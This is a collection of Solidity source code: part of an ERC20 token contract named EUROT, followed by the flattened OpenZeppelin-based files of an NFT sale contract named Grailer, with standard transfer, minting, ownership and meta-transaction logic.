* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract EUROT is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping (address => bool) public isOwners;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address private _owner;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 6. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor() {
_name = "EUROT";
_symbol = "EUT";
_decimals = 6;
_totalSupply = 1000000000000000;
isOwners[msg.sender] = true;
_owner = msg.sender;
_balances[msg.sender] = _totalSupply;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 6;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function burn(uint256 _value) public virtual returns (bool) {
_burn(msg.sender, _value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function changeOwner (address payable _newAdress) public {
require (isOwners[msg.sender]);
isOwners[msg.sender] = false;
isOwners[_newAdress] = true;
if(msg.sender == _owner){
_owner = _newAdress;
return;
}
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
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1008,
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22017,
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102
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721Tradable.sol";
contract Grailer is ERC721Tradable {
bool public saleIsActive;
uint256 public maxByMint;
uint256 public maxSupply;
uint256 public maxPublicSupply;
uint256 public maxReservedSupply;
uint256 public totalPublicSupply;
uint256 public totalReservedSupply;
uint256 public fixedPrice;
address public daoAddress;
string internal baseTokenURI;
constructor(
string memory _name,
string memory _symbol,
address _proxyRegistryAddress
) ERC721Tradable(_name, _symbol, _proxyRegistryAddress) {
maxByMint = 10;
maxSupply = 999;
maxReservedSupply = 30;
fixedPrice = 0.6 ether;
maxPublicSupply = maxSupply - maxReservedSupply;
daoAddress = 0x63fE60e3373De8480eBe56Db5B153baB1A431E38;
baseTokenURI = 'https://www.grailers.io/api/meta/1/';
}
function contractURI() public pure returns (string memory) {
return "https://www.grailers.io/api/contract/1";
}
function tokenURI(uint256 _tokenId) override public view returns (string memory) {
return string(abi.encodePacked(baseTokenURI, Strings.toString(_tokenId)));
}
function mintPublic(uint numberOfTokens) external payable {
require(saleIsActive, "Sale not active");
require(numberOfTokens <= maxByMint, "Max mint exceeded");
require(totalPublicSupply + numberOfTokens <= maxPublicSupply, "Max supply reached");
require(fixedPrice * numberOfTokens <= msg.value, "Eth val incorrect");
for(uint i = 0; i < numberOfTokens; i++) {
_mint(msg.sender, totalPublicSupply + 1);
totalPublicSupply++;
}
}
function mintReserved(address _to) external onlyOwner {
_mint(_to, maxPublicSupply + totalReservedSupply + 1);
totalReservedSupply++;
}
function flipSaleStatus() external onlyOwner {
saleIsActive = !saleIsActive;
}
function setDaoAddress(address _daoAddress) external onlyOwner {
daoAddress = _daoAddress;
}
function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner {
baseTokenURI = _baseTokenURI;
}
function withdraw() external onlyOwner {
uint balance = address(this).balance;
require(balance > 0);
_withdraw(daoAddress, balance);
}
function _withdraw(address _address, uint256 _amount) private {
(bool success, ) = _address.call{value: _amount}("");
require(success, "Tx failed");
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./common/meta-transactions/ContentMixin.sol";
import "./common/meta-transactions/NativeMetaTransaction.sol";
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @title ERC721Tradable
*/
abstract contract ERC721Tradable is ERC721Enumerable, ContextMixin, NativeMetaTransaction, Ownable {
address internal proxyRegistryAddress;
constructor(
string memory _name,
string memory _symbol,
address _proxyRegistryAddress
) ERC721(_name, _symbol) {
proxyRegistryAddress = _proxyRegistryAddress;
_initializeEIP712(_name);
}
/**
* Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings.
*/
function isApprovedForAll(address owner, address operator)
override
public
view
returns (bool)
{
// Whitelist OpenSea proxy contract for easy trading.
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(owner)) == operator) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
/**
* This is used instead of msg.sender as transactions won't be sent by the original token owner, but by OpenSea.
*/
function _msgSender()
internal
override
view
returns (address sender)
{
return ContextMixin.msgSender();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract ContextMixin {
function msgSender()
internal
view
returns (address payable sender)
{
if (msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
sender := and(
mload(add(array, index)),
0xffffffffffffffffffffffffffffffffffffffff
)
}
} else {
sender = payable(msg.sender);
}
return sender;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import { SafeMathUpgradeable as SafeMath } from "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "./EIP712Base.sol";
contract NativeMetaTransaction is EIP712Base {
using SafeMath for uint256;
bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256(
bytes(
"MetaTransaction(uint256 nonce,address from,bytes functionSignature)"
)
);
event MetaTransactionExecuted(
address userAddress,
address payable relayerAddress,
bytes functionSignature
);
mapping(address => uint256) nonces;
/*
* Meta transaction structure.
* No point of including value field here as if user is doing value transfer then he has the funds to pay for gas
* He should call the desired function directly in that case.
*/
struct MetaTransaction {
uint256 nonce;
address from;
bytes functionSignature;
}
function executeMetaTransaction(
address userAddress,
bytes memory functionSignature,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) public payable returns (bytes memory) {
MetaTransaction memory metaTx = MetaTransaction({
nonce: nonces[userAddress],
from: userAddress,
functionSignature: functionSignature
});
require(
verify(userAddress, metaTx, sigR, sigS, sigV),
"Signer and signature do not match"
);
// increase nonce for user (to avoid re-use)
nonces[userAddress] = nonces[userAddress].add(1);
emit MetaTransactionExecuted(
userAddress,
payable(msg.sender),
functionSignature
);
// Append userAddress and relayer address at the end to extract it from calling context
(bool success, bytes memory returnData) = address(this).call(
abi.encodePacked(functionSignature, userAddress)
);
require(success, "Function call not successful");
return returnData;
}
function hashMetaTransaction(MetaTransaction memory metaTx)
internal
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
META_TRANSACTION_TYPEHASH,
metaTx.nonce,
metaTx.from,
keccak256(metaTx.functionSignature)
)
);
}
function getNonce(address user) public view returns (uint256 nonce) {
nonce = nonces[user];
}
function verify(
address signer,
MetaTransaction memory metaTx,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) internal view returns (bool) {
require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER");
return
signer ==
ecrecover(
toTypedMessageHash(hashMetaTransaction(metaTx)),
sigV,
sigR,
sigS
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
